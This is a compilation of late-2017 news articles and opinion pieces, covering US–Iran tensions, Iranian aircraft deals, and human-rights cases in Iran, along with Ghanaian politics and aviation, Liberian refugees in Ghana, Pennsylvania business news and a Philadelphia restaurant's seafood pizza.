These sentiments are also shared by some Arab states-Saudi Arabia, Egypt, and the United Arab Emirates, to name but a few. They have been urging an American attack on Iran for a long time. Saudi Arabia's late King Abdullah's request that the United States should "cut off the head of the snake," i.e. Iran, is one example. More to the point, the former Secretary of State, John Kerry, recently related how Israel, Egypt and Saudi Arabia were pressuring the United States to bomb Iran while America was trying to reach a negotiated settlement on Iran's nuclear program. They have not changed their minds. If anything, they are even more eager now for such an operation.

The political winds in Washington also seem to be blowing in a similar direction. Increasingly hostile rhetoric about Iran's involvement in regional conflicts and comments made by several high-ranking Trump administration officials, such as the U.S. Ambassador to the United Nations Nikki Haley, seem to indicate that US might be leaning towards intervention. Making matters worse for Iran is the fact it has no great power patron willing to come to its defense. Neither Russia nor China will risk their own interests to defend Iran.

This may not come to pass, and Iran and the U.S. might just continue on their current no war no peace trajectory. But authorities in Tehran would be advised to take the risks seriously.

There has been an unfortunate tendency among Iran's hardliners to dismiss threats of an attack by America. The fact that, so far, they have escaped such an attack has encouraged them in this attitude.

Those hardliners have made anti-Americanism the cornerstone of their ideology and the basis of their power and legitimacy, and thus have remained unwilling to engage in serious dialogue with America. They have developed an ostrich-like mind set and attitude that could prove disastrous for Iran.





About the Author:



Shireen T. Hunter Shireen T. Hunter is a Research Professor at Georgetown University's School of Foreign Service. Her latest publication is God On Our Side: Religion, Foreign Policy and International Affairs (Rowman & Littlefield, December 2016).
Iran says aviation giants Boeing, Airbus and ATR to fund plane purchases

12/18/17

Source: Press TV

Iran's aviation officials have played down speculations that the administration of US President Donald Trump would block sales of planes to the country and say they expect purchases to move ahead faster because mechanisms to fund the campaigns are being worked out by plane-makers, themselves.



Photos: 2nd purchased Airbus plane arrives in Tehran on March 2017



On the same front, Iran's national flag-carrier airline Iran Air said European aviation giant Airbus had announced readiness to finance its plane purchases.



The announcement was made by Iran Air Managing Director Farzaneh Sharafbafi who said representatives from Airbus were in Tehran to discuss the matter.



Sharafbafi further added that her company would nonetheless continue negotiations with potential financers.



Ali Abedzadeh, the head of Iran's Civil Aviation Organization (CAO), also said that apart from Airbus, Boeing and ART had also agreed to fund a certain section of Iran's plane purchases.



In December 2016, Boeing sealed deals with Iran's flag-carrier airliner Iran Air over sales of 80 jets valued at $16.6 billion. They include 50 narrow-body Boeing 737 passenger jets and 30 wide-body 777 aircraft. Iran Air also sealed deals with Airbus over purchases of 100 planes worth $18-20 billion at list prices and has already received three of them.



Sharafbafi said a total sum of $330 million had already been allocated from the National Development Fund to fund Iran Air plane purchases.



The official emphasized that certain payments to the same effect had already been made to Airbus as a result of which three jets from the European plane-maker and six from its Italian-Franco offshoot ATR had been purchased.



Both officials were reacting to a report by the Wall Street Journal that Trump's administration was considering blocking planned sales of hundreds of passenger planes by Boeing and Airbus to Iranian airlines.



Abedzadeh said Iran had already become used to Trump's threats against its plane purchase agreements.



"From the very day President Trump took office, he kept making threats against Iran's plane agreements," he was quoted as saying by Iran's media.



"But there has been nothing in his remarks for which we and Iran Air should be worried about."



Elsewhere in her remarks, Iran Air chief Sharafbafi stressed that a recent bill by the US House of Representatives which envisaged a reporting mechanism over plane deals with Iran would not lead to the cancellation of those deals.



Nevertheless, she said, it could protract the process for the US Treasury Department to issue the necessary authorizations for the deals to proceed.



On the same front, CAO's head Abedzadeh further described the bill as illegal, stressing that the confidentiality clause in the agreement with Boeing would not allow any disclosure of purchase details.



US lawmakers on Thursday approved a bill that will bring the sales of American planes to Iran under the close scrutiny of Congress.



The bill - still pending the approval of the Senate - would oblige the Treasury to report to lawmakers on Iranian purchases of US aircraft and how those sales would be financed.



This provoked a reaction from Tehran over the weekend. Media quoted Asghar Fakhrieh Kashan, Iran's deputy minister of roads and urban development, as saying that the bill was in violation of the nuclear agreement that Iran had sealed with the five permanent members of the Security Council plus Germany - the P5+1 group of countries.



Fakhrieh Kashan emphasized that the nuclear agreement - the Joint Comprehensive Plan of Action or the JCPOA - clearly stipulated that the US would issue the required authorizations for sales of planes to Iran.



"[The JCPOA] goes even beyond merely planes and says spare parts, after-sales services and the related technologies should also be sold to Iran," he was quoted as saying by Iran's IRNA news agency.



The nuclear agreement was achieved after lengthy negotiations that eventually resolved disputes over the Iranian nuclear energy program. It envisages certain measures by Iran to limit certain aspects of its nuclear energy activities in return for the removal of sanctions against it.
Iran's Judiciary Should Free Labor Activist Reza Shahabi Who Suffered Stroke

12/19/17

Source: Center for Human Rights in Iran

The Iranian judiciary should immediately free ailing trade unionist Reza Shahabi, who recently suffered a stroke in Rajaee Shahr Prison, and allow him to receive full medical attention, the Center for Human Rights in Iran (CHRI) said in a statement today.



Reza Shahabi

Shahabi, a board member of the Union of Workers of the Tehran and Suburbs Bus Company (UWTSBC), was denied hospitalization after the stroke, according to a statement by the UWTSBC published on December 14, 2017.

"During a prison visit on Wednesday [December 13, 2017], his relatives noticed that the left side of Shahabi's face was drooping and that his left eye had sunken in," reported the UWTSBC. "He said that when he went to the prison clinic, the doctor told him he had suffered a mild stroke."

Political prisoners in Iran are singled out for harsh treatment, which often includes denial of medical care.

"Repeatedly we hear of political prisoners suffering irreversible consequences after being denied medical care in Iranian prisons," said CHRI's Executive Director Hadi Ghaemi.

"There seems to be no limit to how far the judiciary will go in punishing Iranian citizens for engaging in peaceful activism," said Ghaemi.

Labor activist Mohammad Jarrahi died in October 2017 from thyroid cancer that was left untreated while he was held as a political prisoner in Iran's Tabriz Prison. In September 2015, Jarrahi's colleague Shahrokh Zamani died of a heart attack after being denied medical care in Rajaee Shahr Prison.

On numerous occasions, intelligence organizations and the judiciary have treated labor activism as a national security offense in Iran. Independent labor unions are not allowed to function, strikers are often fired and risk arrest, and labor leaders are consistently prosecuted under catchall national security charges and sentenced to long prison terms.

A source with contacts inside Rajaee Shahr Prison in the city of Karaj where Shahabi is being held told CHRI on December 14 that Shahabi required medical attention before the stroke occurred.

"Shahabi has been suffering from frequent headaches, nose bleeds, and difficulty moving his hands, feet, and neck," said the source who asked not to be identified for security reasons.

A board member of the UWTSBC, Shahabi, 45, was arrested in June 2010 and sentenced to six years in prison after being convicted of "propaganda against the state" and "assembly and collusion against national security" for peacefully advocating labor rights in Iran. He was also banned from engaging in civic activism for five years.

In September 2014, Shahabi was granted medical leave but nearly three years later was informed that the time he had spent outside the prison on medical furlough was not counted as time served and that he would have to return to the prison.

When Shahabi returned to Rajaee Shahr Prison on August 8, 2017, he was told he would have to serve the five months that remained of his sentence before he was released on furlough, as well as a year for his alleged role in a clash between guards and prisoners in Evin Prison on April 17, 2014, that left many prisoners injured.

"In addition to denying detainees in political cases their full due process rights, Iran's judiciary is denying them medical care," said Ghaemi.

"It's long past due for the Rouhani government to follow through on its election campaign promises and demand the judiciary and security forces stop trampling on citizens' rights," he added.
Iran's Culture Ministry Successfully Pressures Iranian Director to Cancel Film Screening in Canada

12/19/17

Source: Center for Human Rights in Iran

Iranian director Abdolreza Kahani cancelled a screening of one of his films in Canada after Iran's Ministry of Culture and Islamic Guidance threatened to ban his next film if he refused to comply, the Center for Human Rights in Iran (CHRI) has learned.



Abdolreza Kahani

The film, "Delighted" (2016), which was banned in Iran for its depiction of three carefree women in Tehran, was scheduled to be screened in Toronto in November 2017.

"If the screening had gone ahead, his new film, 'We Like You Mrs. Yaya,' which was very expensive to make, would not get a permit for screening in Iranian theaters and the producers would get into a lot of trouble," a source who's close to Kahani told CHRI on December 15, 2017.

"The Guidance Ministry sent a message 'politely recommending' that the film not be screened even though tickets had already been sold," added the source, who requested anonymity for security reasons. "There was no choice but to apologize to the people and give them a refund. Everyone was stunned that the Guidance Ministry could interfere in screenings outside the country."

According to the source, it's rare for the ministry, which regulates all media in Iran, to ban filmmakers from showing their work abroad.

The source told CHRI: "'Delighted' was made almost two years ago. The director and the producers tried very hard to get a screening permit for domestic theaters but failed. After the presidential election [in Iran, May 2017] promises were made to lift bans on several films but in the end this one was not included."

"The people involved in the film then decided to show it abroad and recoup some of the large amounts of money that went into its production," added the source. "Deals had been made to screen it in Canada, the UK, Germany, the Czech Republic, France, and Australia, and then the plan was to sell it to Netflix. The first stop was supposed to be Toronto."



Delighted



But an Iranian official in Tehran had announced that "Delighted" would not be screened anywhere.

"The Cinema Guild has not received a permit or contract regarding Mr. Kahani's film and obviously until we do, it cannot be screened inside or outside the country," said the guild's spokesman, Gholamreza Faraji, on November 28, 2017.

Kahani's new film, "We Like You Mrs. Yaya," is a joint Thai-Iranian production filmed in Thailand, with Hamid Farokhnezhad, a well-known Iranian actor, playing the lead role. The producers are awaiting the ministry's approval to hold screenings in Iran.

Kahani, who has been living in France since 2013, has 10 feature films to his credit, four of which have been banned in Iran: "Nothing" (2010), "Absolutely Tame Is a Horse" (2011), "Needlessly and Causelessly" (2012) and "Delighted" (2016).

"The censors have the power to lock my film in the archives or ban it from foreign festivals but they cannot accuse me of making a film exclusively for foreign audiences," wrote Kahani in an op-ed published in the reformist Shargh newspaper on July 12, 2017.

"The censors look at a piece of art as a manifesto rather than as a slice of reality," he added. "How many times do we have to repeat this? The censors do not understand that the filmmaker does not necessarily agree with a story, he is just presenting it."
US president can't cause Iran deal to collapse: President Rouhani

12/19/17

Source: Press TV

Iranian President Hassan Rouhani says the United States will not be able to kill the 2015 multinational nuclear deal, emphasizing that the landmark pact will remain in place.



Source: Iranian magazine Khatkhati



"Two years have passed since the [implementation] of the JCPOA," Rouhani said on Tuesday, referring to the Joint Comprehensive Plan of Action, as the nuclear accord is officially called.



"The Americans have made several attempts to destroy the JCPOA, but they have failed to this day, and I believe that they will not be able to do so until the end," he added.

The Iranian president also urged the opponents of the Iran nuclear deal not to pin hopes on Trump, saying "he would do nothing for you."



"The JCPOA remains in place, and we will continue on this path," Rouhani pointed out.



The JCPOA was reached between Iran and the P5+1 countries - namely the US, Russia, China, France, Britain, and Germany - in July 2015 and took effect in January 2016.



Under the agreement, Iran undertook to apply certain limits to its nuclear program in exchange for the termination of all nuclear-related sanctions against Tehran.



The International Atomic Energy Agency has repeatedly confirmed Iran's full commitment to its side of the bargain.



However, Trump refused in October to certify that Iran was complying with the JCPOA under a domestic US law and warned that he might ultimately "terminate" the deal.



He also directed his administration "to work closely with Congress and our allies to address the deal's many serious flaws."



Last week, the US Congress missed a deadline to reimpose sanctions on Iran that were lifted under the JCPOA.



Now, Trump has until mid-January to decide whether to waive the anti-Iran sanctions or risk terminating the nuclear pact by imposing new measures.



Other signatories have, however, firmly defended the accord, saying it is working well and requires no amendment. They also called on Washington to stay committed to the international document.
Africa World Airlines (AWA) has submitted a proposal and held discussions with the Aviation Ministry to be designated as the countrys flag-carrier, Togbe Afede XIV  Co-Chairman of AWA and Chief of Asogli State  has said.



When designated as the national flag-carrier, AWA will be able to operate flights between Accra, Ghana, and all other countries around the world with which the country has a bilateral air service agreement.



We submitted our proposals and had meetings with the aviation authorities, and I must credit them for their openness and desire to make it happen for Ghana  and we are happy to be part of that process.



Our key partner, Hainan Airlines, is part of the HNA group. Deals done by the HNA group over an 18-month period is in excess of US$40billion, so we come with a lot of financial muscle. And, of course, technical capacity is also assured, because within the HNA group we have more than 14 airlines. So, we come in with the global connections and a worldwide network necessary for the success of a national carrier, he told the B&FT at the launch of its maiden flight from Accra, Ghana, to Monrovia, Liberia.



Government is seeking to establish a new national airline under a public-private-partnership (PPP) arrangement, in order to realise its vision of making Ghana an aviation hub in the West African sub-region.



To this effect, the Aviation Ministry has received about 20 applications and is perusing them with governments Economic Management Team to make a decision on the best possible partner.



Togbe Afede XIV, however, makes a strong case that AWA is ready to take on the partnership with government, given its financial and technical capacity and the fact that government already has shares in AWA through the Social Security and National Insurance Trust.



AWA is a joint venture between the Social Security National Insurance Trust (SSNIT) Ghana, the Strategic African Securities, China-Africa Development Fund and Hainan Airlines of China.



We are ready to partner government to establish a national-carrier. The HNA group is not just aviation, which means that we bring a lot more. HNA group has a diversified aviation sector. We have our own maintenance operations in Europe and China.



So, all of that capability is brought on board; we bring a lot of strength and we are capable of making it happen immediately. But it is subject to the strategy government has in mind; whether it wants a new separate airline, or if it wants to partner us. Even if we are to start tomorrow, we are ready to get it started, he said.



For decades, Ghana Airways was the national airline with Kotoka International Airport (KIA) as its hub. However, the airline  ridden with debt  ceased operations in 2004. Attempts were made to revive its fortunes, but to no avail; and in June 2005, the airline was liquidated.



The government, with support from private investors, then established Ghana International Airlines (GIA). The airline faced difficulties, and eventually suspended its operations in May 2010. Some loose ends in the liquidation process are still being tightened.



The airline industry in the West Africa sub-region is growing. However, connectivity gaps still exist due, largely, to a weak aviation policy environment and traffic rights restrictions.



AWAs Accra-Monrovia service



The start of a direct service by Africa World Airlines (AWA) between Ghanas capital, Accra, and Liberias capital and key economic hub, Monrovia, is expected to deepen trade relations between the two West African states.



The airline will operate flights on Tuesdays, Fridays and Sundays; a new service that will offer the public more options for travelling between the two West Africa states.



The Accra-Monrovia-Accra flights will depart Kotoka International Airport at 11:30hrs on Tuesdays, Fridays and Saturdays, and arrive in Monrovia at 13:30hrs. The return flight will depart Monrovia at 14:10hrs and arrive in Accra at 16:10hrs.



Ghana and Liberia have very good diplomatic relations. A significant number of Liberians live and work in Ghana, while fishing communities along Ghanas coasts have relations in coastal Monrovia and regularly visit.



On the economic benefits of the new routes opening, Monrovias economy is dominated by its harbour  the Freeport of Monrovia  as it is also the location of Liberias government offices. Monrovias harbour was significantly expanded by U.S. forces during the Second World War, and the main exports include latex and iron ore.



Materials are also manufactured on-site; such as cement, refined petroleum, food products, bricks and tiles, furniture and chemicals. Located on Bushrod Island between the mouths of the Mesurado and Saint Paul Rivers, the harbour also has facilities for storing and repairing vessels.



Given Ghanas numerous traditional and non-traditional exports, the new service opens a new chapter for intra-Africa trade in the sub-region. This presents an enormous opportunity for businesses and investors in both countries.









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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There is a saying in Argentina that power is like drinking gin on an empty stomach. You feel dizzy. You get drunk. You lose your balance and you end up hurting yourself and those around you.



A practical demonstration of this could be seen on the proposal by the president, Nana Addo Dankwa Akufo-Addo, to parliament, asking the Honorable Members to designate August 4, as Founders Day and September 21, as Kwame Nkrumah Memorial day, both days are to be observed as public holidays.



If a day a political party was formed could be declared a public holiday, then the day we lost a sitting president, deserves recognition, aside the annual public lectures.



The National Democratic Congress (NDC), since the passing of Prof. John Atta Mills, have not fought to preserve his legacy, as they have shown to Dr. Kwame Nkrumah. Ghanaian hypocrisy is the worst, one could find anywhere on the surface of the earth.



On that fateful day of February 24, 1966, when Dr. Kwame Nkrumah was overthrown, for one month Ghanaians jubilated. Everything in their wake that belonged to Dr. kwame Nkrumah. Was either burnt or pulled down. For more than a week, books belonging to Dr. Nkrumah, was burnt at the Trades Union Congress.



The wild jubilations was not planned, forced by it was genuine, a weight was lifted off the shoulders of Ghanaians, today, for political reasons, some people are behaving as if, Dr. Nkrumahs overthrow was a bad omen for this country.



This year, July 24, marked five years after the passing of Prof. John Evans Atta Mills. A coincidence, you might call it, whiles Nkrumah was overthrown on February 24, Mills died on July, 24. The funeral of Prof. Mills was the only time that we shed our usual crocodile tears.



Days after his passing, a lot of people shared their intimate moments with him, as well as their experiences, this accounts were often accompanied with tears. Indeed, my good self, I shared a tear or two, but ask me, what I have done, since his casket was lowered into the ground.



The party that he led into the 2008 crucial elections has not shown enough good fate. His final resting place, the asomdwe park, was left unattended, sparking waves of calls and agitations, after the NDC lost power last year.



I have sometimes wondered why these Danquah-Busia surrogates will not stop trying to rewrite the history of this country to favour their forebears. This country, cannot afford to be taken a step forward and two backwards. Ghanaians dont mind, observing twenty holidays in a year, but the holidays, must be relevant to the national discourse.



Muslims in the country, have been advocating for two days, when celebrating the Eid-Ul-Adha, a day is not enough, considering what Muslims are expected to do. You cannot observe the holy sacrifice in a single day. The incessant calls have fallen on deaf ears, since ex-president, Jerry John Rawlings, did Mulsims in the country the honour by granting them the much deserved holidays, on the occasions of Eid-Ul-Fitr and Eid-Ul-Adha.



President, Akufo-Addo, did not find it necessary to consider the request of Muslims, but instead is on a frolic of his own, to honour the memory of his forebears. For some reason, it seems like my Nana Addo and not the New Patriotic Party, badly wants to make his uncle and father national heroes.



It is clear, president Akufo-Addo, is on a mission to impose his family on us and the national psyche. He is doing everything possible to re-write the history of this country, with his family members, playing leading roles.



He started by appointing everyone in his family to serve in his government, but he should remember and all those appointed should also remember that, they should enjoy it, while it is hot. The day, he will leave office, is the day, members of his family, will begin to realize what mistake, he made by giving them appointments.



Since independence, from the first republic to the fourth republican dispensation, the only time, a sitting president, had passed on, was in 2012. It is my prayers that, such a calamity never befalls this nation, as it is one of the most painful experiences, any nation, will have to go through.



We are not celebrating the memory of president Mills. Every year, some few loyalists of his, will gather, invite someone to come and give a lecture and that is all. If August 4, is worth observing and Members of Parliament are being called upon to help legislate the day as a public holiday, then we can certainly do more for President, John Evans Atta Mills.



A country that does not recognize its heroes, it is said is not worth dying for. President Mills, like any other human beings, had his bad sides, but he loved his country and his people. He was a rare breed of politician, the kind Ghana will never have. We are all witnesses to what is happening to innocent Ghanaians, whose crimes are that, they are perceived to be members of the National Democratic Congress. They are being dismissed from their jobs, without anyone to speak for them.



When Prof. Mills, took over in 2009, District Chief Executives were urged to stay on, some heads government institutions and agencies remained at post for nine months to one year. The Chief Executive Officer of COCOBOD was only relieved of his post in 2013. If as a country, we cannot celebrate this man, then indeed Ghana is not worth dying for.



It is obvious the holidays are too many and so we cannot add another one, but at least we can do more for the good Professor, than we are currently doing.



I already know that president Akufo-Addo and the New Patriotic Party hate Nkrumah. The NPP is free to do that, but they must not also destroy themselves and divide the nation, just to prove to the world hate him.



What the country needs to settle once and for all on who founded Ghana is wisdom  political wisdom.



I am no longer troubled that some of us who should know better are still drinking gin on an empty stomach and getting dizzy.



As for the members of the Convention Peoples Party (CPP), the least said about them the better. They dont deserve any sympathy and empathy, as the problems of Nkrumah, is all because they fail to unite.

Source: the herald









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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About 57 Liberian refugees, who refused to go back to their home country, are fighting the United Nations High Commissioner for Refugees (UNHCR) for their resettlement packages.



According to the refugees, who have now pitched camp at the Cantonments Police Station, UNHCR presented them with three options, including integration, repatriation and resettlement in a country of their choice.



Barh John Guey, one of the leaders of the refugees currently at the Cantonments Police Station in Accra, vowed to stay at the place until their demands were met.



About 100 aggrieved Liberians last Thursday besieged the UNHCR Ghana headquarters to protest, but a police patrol team forcibly removed them from the place and transported them to the Cantonments Police Station.



The refugees, including women and children, have threatened to stay at the police station until their resettlement packages are given to them.



Speaking to Daily Guide, Barh John Guey, one of the leaders, said in June 2012, all refugees living at the Liberian Camp Budumburam were given three options by the UNHCR as part of the resettlement.



We were asked to choose, those who wanted to be integrated in the country; those who want to be repatriated back to our home country, and the third option is those who want resettlement in another country of their choice.



Those who chose to go back to their country were given a package and sent back and those who chose integration have been settled.



They are now refusing to settle those of us who chose the third option of being sent to another country of our choice.



The refugees said they opted to be sent to the United States of America, Canada, Australia and the United Kingdom.



The Cantonments Police Commander, Superintendent William Asante, told DAILY GUIDE that the Liberian refugees besieged the offices of UNHCR last Thursday to make their demands.



After speaking to them we asked them to go back to the camp and use the appropriate channels to seek redress.



We went for a police patrol car to convey them in batches, but they refused, claiming they were not criminals to use such vehicles.



Superintendent Asante said the refugees asked the police to hire a bus to transport them back to the Budumburam Liberia Camp.



When the UNHCR was contacted, Edmund Quartey, Associate Protection Officer, said the agency does not recognize them as refugees anymore.



According to Mr Quartey, they were given two options and not three as they claimed.



Resettlement is not one of the rights of a refugee and they cannot insist that UNHCR send them to a country of their choice.



UNHCR can only advocate a country to receive them, but currently since their country is now peaceful, no country will be willing to receive them as refugees.



In 2011 to 2012, there used to be about 11,000 refugees living at the Budumburam camp. Out of the number, 5,000 opted to be sent back to their country after the war ended.



A total of 3,500 chose the second option to be reintegrated into the society, which has been done, and government of Ghana gave those persons two-year residential permit but the third is no other of importance, he added.



The Deputy Chief of Missions at the Liberia Embassy in Accra, Alieu M Massaquoi, told the paper that Cantonments Police informed them about the happenings last Friday.



He stated categorically that they no longer have refugees in Ghana and that they must be transported to Liberia or integrated into Ghana.



He added that the High Commission would communicate with the Government of Liberia over what to do.



Meanwhile, Liberians living in Budumburam camps have been given up to January 15, 2018 to vacate the camp for the land to be given to the chiefs of the area.

Source: Daily Guide









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Lawyer and former Ghana's High Commissioner to India Sam Pee Yalley suspects the ruling New Patriotic Party (NPP) wants the Chairperson of the Electoral Commission to be impeached just to ensure Akufo-Addos victory in 2020'.



According to him, he knows the President to be an upholder of the rule of law and that he will be disappointed if the president uses a hanky panky way to win the elections.



His comment comes on the back of an impeachment process that has been initiated against Madam Charlotte Osei.



A five-member committee was last month initiated to look into allegation of corruption against the EC chairperson.



The inquisitorial committee, whose members are yet to be made public, is expected to investigate Madam Charlotte Osei, together with her two deputies, Georgina Opoku-Amankwaa, who is in-charge of Corporate Services, and Amadu Sulley, in charge of Operations.



If you may recall, some unnamed staff petitioned President Akufo-Addo to trigger an impeachment process against Madam Charlotte Osei.



The accusation against Charlotte Osei included directing of GH3.9 million to partition an office, her receipt of a Toyota Land Cruiser from the Mahama government, expending about $14 million when the Public Procurement Authority had authorised her to use only $7.5 million.



Mrs Osei launched her own attack, drawing in the two deputies: Georgina Opoku-Amankwaa and Amadu Sulley.



Contributing to a panel discussion on Radio Golds 'Alhaji and Alhaji' programme, Saturday, Sam Pee Yalley said the NDC will resist any attempt to rig the 2020 elections.



If Nana Addo will win the 2020 election, it will not be by tricks; it will be by what he has done. NDC will not; shall not allow any attempt to rig the 2020 elections; they should not dream. They can bring the best but we are capable . . . if they think by invoking ROPAA and other tricks they can win the elections, they will be smiling at the wrong side of their mouth, he added.

Source: Rebecca Addo Tetteh/Peacefmonline.com









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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The Human Rights Division of the Accra High Court has ordered the Electoral Commission (EC ) to implement the Representation of the People Amendment Act (ROPAA)2006 (Act699), which gives Ghanaians in the diaspora the right to vote, within 12 months.



Per the court order, the EC must operationalise the Act by laying a constitutional provision (CI) before Parliament to set out the modalities for the implementation of the Act.



In a judgement delivered Monday, the Court, presided over by Mr Justice Anthony Yeboah, said the 12 months grace period starts from January 1, 2018 and it is to enable Ghanaians in the diaspora to vote in the 2020 elections



In case the electoral body has any justifiable reason not to comply with the order, the court ordered it to within 30 days to the expiration of the deadline, publish its reasons and also appear before the court to explain.



The judgement was the culmination of a legal suit filed by 5 Ghanaians in the diaspora, who went to court on the basis that the EC had deliberately refused to implement the Act 699, 11 years after it was passed.



They argued that the refusal of the EC to implement Act 699 was an affront to their fundamental human rights as enshrined by the 1992 Constitution.



They, therefore, wanted the court to order the EC to kickstart the implementation of the Act since it was its statutory obligation.



In the judgement, the court held that the EC had failed to justify the delay in implementation of the Act.



According to the court although the EC was aware of its obligation to implement the Act, it deliberately failed to implement and gave no cogent justification



The 1st respondent (EC) is only good at reciting the challenges in implementing the Act and not finding solutions to the challenges, Mr Justice Yeboah said.



Also the court ruled that it was outrageous  for the EC to set itself an indefinite deadline to implement the Act without taking into consideration the rights of Ghanaians in the diaspora

Source: Daily Graphic









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Majority Leader Osei Kyei-Mensah-Bonsu has said suspended General Secretary of the New Patriotic Party (NPP), Kwabena Agyepong, violated the partys constitution after his suspension by his mere presence at certain party events.



According to Mr Kyei-Mensah-Bonsu, a suspended executive of the party, per the NPPs constitution, cannot attend functions organised by the party such as the Extraordinary Delegates Conference which Mr Agyepong attended in Kumasi on Sunday, 17 December.



In the lawmakers view, to the extent that Mr Agyepong has on several occasions attended party events, he has violated the partys constitution.



His comments come on the heels of a comment by Mr Agyepong that his suspension has been too long.



Mr Agyepong told the media on the sidelines of the partys Extraordinary Delegates Conference that the national leadership of the NPP, must listen to those clamouring for his reinstatement.



He was suspended indefinitely along with the partys Chairman Paul Afoko and Second Vice Chair Sammy Crabbe for allegedly working against the interest of the NPP ahead of the 2016 general elections.



The National Executive Committee of the NPP acted based on findings of the party's Disciplinary Committee and suspended the three on 10 December 2015.



The suspensions followed a petition brought against the three by some NPP members.



But speaking on this development in an interview on AccraFM Monday, 18 December, Mr Kyei-Mensah-Bonsu said: I dont know what he means by his suspension has taken too long because there was no timeline to his suspension.



If you are suspended indefinitely, indefinitely could mean forever, and, so, we dont know the basis for saying his suspension has taken too long.



Do you know that technically someone can argue that he has violated the partys constitution? The constitution has stated clearly what he should do, yet he didnt do it. By attending the partys event yesterday and the one in Cape Coast, someone can argue that he has violated the partys constitution.



I am not judging, I cannot judge alone, the parliamentary caucus will have to meet on this to decide what to do.







Source: classfmonline.com









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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A retirement community in Elizabethtown has announced that it is partnering with U-Gro Learning Centres on a new daycare center that is expected to cost more than $3 million.

Masonic Village at Elizabethtown and U-Gro have reached an agreement, pending municipal approval, to build a new child care facility at the Shrine Road entrance to Masonic Village's campus.

Childcare services are nothing new for Masonic Village. The retirement community has offered childcare services on its campus since 1989. Masonic Village built its current center in 2001, and it is operated by Bright Horizons Family Solutions.

The retirement community said in a press release that the partnership with Bright Horizons has been successful. The decision to partner with U-Gro is part of a larger master planning process that removes Masonic Village from the support and day-to-day operation of the business. The retirement community said it was looking for a partner willing to design, develop, build and operate the new center and selected U-GRO.

Pictured is a room from one of U-Gro's facilities in Lancaster County.

The new center will feature a 13,500-square-foot outdoor playground, as well as an indoor gym with 2,000 square feet of play space. It will contain 10 classrooms - one for infants, five for toddlers and four for preschoolers - to accommodate up to 148 children. Before and after school care and a summer camp program will continue to be offered, as well as the full-day kindergarten if substantial enrollment remains, the center said. The center is expected to open in 2019 and employ more than 30 people.

The center will offer full- and part-time programs for children six weeks through fifth grade, two to five days per week. U-Gro offers what it calls a Blended Model Curriculum, and also provides a life skills program.

The Elizabethtown center isn't the only center that is currently in the works for U-Gro. Earlier this year, U-Gro announced that it is building a $6 million facility adjacent to its current facility at 1223 Research Boulevard in Derry Township. That new building is expected to be completed next summer, and will also include space for U-Gro's support center (home office) which is currently located at TecPort Drive in Swatara Township, adjacent to one of its childcare centers.

U-Gro was founded in 1973, and serves 1,800 children at centers in the Lancaster, Lebanon, Lititz, York, Mechanicsburg, Harrisburg and Hershey areas. With the Elizabethtown childcare facility, U-Gro will have 14 centers. U-Gro has several centers at or near retirement communities, and other large employers.

Masonic Village plans to convert the current center into retirement living apartments. Masonic Village at Elizabethtown, a nonprofit, is one of Masonic Village's five retirement communities, which are all located in Pennsylvania.

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New stores and more opening in central Pa.
M&T Bank, which has a number of branches in central Pennsylvania recently contributed $62,000 to 16 nonprofit organizations in Dauphin and Cumberland counties.

Each organization was presented with a check by representatives of M&T Bank to supporting programs with an educational focus.

The organizations included the Boys & Girls Club, CALC, Dauphin County Library, Domestic Violence Services, Harrisburg Area YMCA, Leaf Project, Joshua Group, Leadership Cumberland, Nativity School, United Way of Carlisle & Cumberland County, United Way of the Capital Region, Eagle Foundation, YWCA of Greater Harrisburg, Yellow Breeches Educational Center, New Hope Ministries and Family Promise.
It doesn't get more Italian-American than Pizza of the Seven Fishes.

The dish is the pizza of the month at Slice, a Philadelphia-area restaurant which has been making it every December for the past four years.

The pizza is a twist on the traditional Christmas Eve dinner for Italian-Americans, Feast of the Seven Fishes.

"That is my family tradition," said Marlo Dilks, co-owner of Slice. "That is what we do for the Christmas Eve dinner."

Dilks was joking around with her husband when she came up for the idea of the pizza.

"I said 'I'm going to put seven fishes on a pizza' and he was like 'Sure, if you want to try it.'" she recalled. That first year, the pizza was a success. It's only grown in popularity since.

It's a white pizza (meaning there is no tomato sauce). The dough is covered in mozzarella and then topped with a sauteed mixture of clams, mussels, shrimp, tuna, crab meat, sardines, garlic, olive oil and lemon. Anchovies are then placed on top before the pizza goes into the oven. Once it's done baking, fresh lemon and basil are added.

"You definitely have to like fish," Dilks said.

The pizza is $19 small (12 inches) and $26 for a large (17 inches). It can also be ordered with a gluten free crust.

Marlo Dilks, co-owner of Slice in Philadelphia with the restaurant's December pizza of the month: Pizza of the Seven Fishes. Julia Hatmaker | jhatmaker@pennlive.com

Pizza of the Seven Fishes is only available at Slice during the month of December. Some of the locations are even open on Christmas Eve so you can have it on the feast's traditional day.

The fact that the pizza is available for a limited time only adds to its charm.

"If you had this year round it wouldn't be as special," Dilks said, adding later "It looks like Christmas out, it feels like Christmas out, now you're eating something that tastes like Christmas."

For the non-anchovy lovers, you can always order the pizza without that fish. "Technically it only has six fishes at that point, but we won't tell if you don't tell," Dilks said with a smile.

The anchovies are also placed on the top of the pizza, so they're easy to pick off.

For those looking for a second pizza to order, Dilks recommends either the truffle pizza ("hands down our best pizza in general") or margherita ("it's very traditional").

Special pizzas, like the Pizza of the Seven Fishes, are important for Slice.

"The majority of our menu is only pizza and salads, so you have to have a variety for your customer," Dilks said.

She also likes to have something different to offer people.

